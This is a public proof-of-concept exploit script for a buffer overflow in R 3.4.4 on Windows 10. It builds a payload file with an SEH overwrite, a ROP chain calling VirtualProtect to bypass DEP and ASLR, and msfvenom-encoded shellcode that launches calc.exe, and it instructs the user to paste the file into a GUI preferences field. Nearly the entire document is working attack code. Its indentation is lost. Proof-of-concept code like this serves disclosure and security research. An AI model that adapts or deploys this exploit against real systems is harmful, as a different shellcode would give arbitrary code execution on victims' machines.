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#!/usr/bin/python  
# Exploit Title: R 3.4.4 (Windows 10 x64) - Buffer Overflow SEH(DEP/ASLR Bypass)  
# Date: 2019-07-15  
# Exploit Author: blackleitus  
# Vendor Homepage: https://www.r-project.org/  
# Tested on: Windows 10 Home Single Language 64-bit  
# Social: https://twitter.com/blackleitus  
# Website: https://skybulk.github.io/  
# discovered by: bzyo  
  
  
# GUI Preferences -> paste payload.txt into 'Language for menus ...' -> click OK  
import struct   
  
outfile = 'payload.txt'  
  
def create_rop_chain():  
rop_gadgets = [  
0x6c998f58, # POP EAX # RETN [R.dll]   
0x6379973c, # ptr to &VirtualProtect() [IAT methods.dll]  
0x6fee2984, # MOV EAX,DWORD PTR DS:[EAX] # RETN [grDevices.dll]   
0x6ca1ba76, # XCHG EAX,ESI # RETN [R.dll]   
0x64c45cb8, # POP ECX # RETN ** [methods.dll] ** | {PAGE_EXECUTE_READ}  
0x64c46010, # &Writable location [methods.dll]  
0x6cacc7e2, # POP EAX # RETN ** [R.dll] ** | {PAGE_EXECUTE_READ}  
0xffffffc0, # Value to negate, will become 0x00000040  
0x7139c7ba, # NEG EAX # RETN ** [stats.dll] ** | {PAGE_EXECUTE_READ}  
0x6ca3485a, # XCHG EAX,EDX # RETN ** [R.dll] ** | {PAGE_EXECUTE_READ}  
0x7135a862, # POP EAX # RETN ** [stats.dll] ** | {PAGE_EXECUTE_READ}  
0xfffffdff, # Value to negate, will become 0x00000201  
0x6e7d41ca, # NEG EAX # RETN ** [utils.dll] ** | {PAGE_EXECUTE_READ}  
0x63742597, # XCHG EAX,EBX # RETN ** [Rgraphapp.dll] ** | {PAGE_EXECUTE_READ}  
0x6cbef3c0, # POP EAX # RETN ** [R.dll] ** | {PAGE_EXECUTE_READ}  
0x41414141, # Filler (compensate)  
0x6c9b1de7, # POP EBP # RETN ** [R.dll] ** | {PAGE_EXECUTE_READ}  
0x6ca2a9bd, # & jmp esp [R.dll]  
0x6cbebfa6, # POP EAX # RETN ** [R.dll] ** | {PAGE_EXECUTE_READ}  
0x90909090, # nop  
0x6ca00e93, # POP EDI # RETN [R.dll]   
0x6375fe5c, # RETN (ROP NOP) [Rgraphapp.dll]  
0x6ff1b7bb, # PUSHAD # RETN [grDevices.dll]  
]  
  
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)  
  
rop_chain = create_rop_chain()  
  
junk = "A" * 1016  
  
seh = struct.pack("<L", 0x6cb5f812) # 0x6cb5f812 : {pivot 2988 / 0xbac} : # ADD ESP,0B9C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [R.dll] ** | {PAGE_EXECUTE_READ}  
  
# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' cmd=calc.exe exitfunc=thread -f python  
  
nops = struct.pack("<L", 0x6cacc7e3) * 30  
  
shellcode = ""  
shellcode += "\x90" * 20  
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"  
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"  
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"  
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"  
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"  
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"  
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"  
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"  
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"  
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"  
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"  
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"  
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"  
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"  
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"  
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"  
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"  
  
padding = "D" * (8000-1016-4-30-len(rop_chain)-len(shellcode))  
  
payload = junk + seh + nops + rop_chain + shellcode + padding  
  
with open(outfile, 'w') as file:  
file.write(payload)  
print "payload File Created\n"